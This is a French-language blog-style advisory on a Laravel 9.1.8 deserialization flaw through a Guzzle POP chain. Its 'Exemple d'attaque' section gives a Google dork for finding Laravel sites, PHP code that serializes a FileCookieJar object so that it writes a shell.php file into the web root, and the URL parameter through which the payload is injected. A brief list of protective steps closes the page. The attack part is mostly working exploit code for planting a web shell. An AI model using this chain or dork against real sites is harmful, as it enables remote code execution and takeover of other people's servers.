Laravel est un framework PHP Open-source bien connu et utilisé.
Cette CVE repose sur un problème de désérialisation d’un guzzle POP Chain. La fonction unserialize n’est pas filtrée.
La faille est disponible pour la version Laravel 9.1.8 avec un PHP < 8.
Bien que cette faille ne comporte pas pour le moment de score, elle peut être considérée comme critique.
Plus d ‘infos sur cette url :
https://github.com/1nhann/vulns/issues/2
Exemple d'attaque
Comme toujours via le GHDB il est assez simple de trouver des sites utilisant Laravel. Cela montre une nouvelle fois, l’importance de masquer certaines bannières sur le net.
inurl:readme.md intext:"Laravel"
Ensuite il suffit d’utiliser ce bout de code pour générer votre playload.
null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct()
{
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar{
private $filename;
private $storeSessionCookies;
function __construct()
{
parent::__construct();
$this->filename = "d:/var/www/untitled/public/shell.php";
$this->storeSessionCookies = true;
}
}
}
namespace{
$a = new \GuzzleHttp\Cookie\FileCookieJar();
echo base64_encode(serialize($a));
}
Appelons la chaîne de caractère résultant de votre playload XXXXX, il suffira ensuite de l’injecter dans l url de la cible de cette manière
http://url.de.la.cible/?ser=XXXXX
Comment se protéger contre la CVE sur Laravel
Les principaux axes de protections contre cette faille est la mise à jour dès que possible.
En attendant vous devez :
- Masquer les bannières de vos serveurs web, php et laravel
- Correctement paramétrer vos fichiers php.ini
- Faire attention aux droits de vos fichiers.
En gros appliquer toutes les bonnes pratiques d’un hébergement WEB sécurisé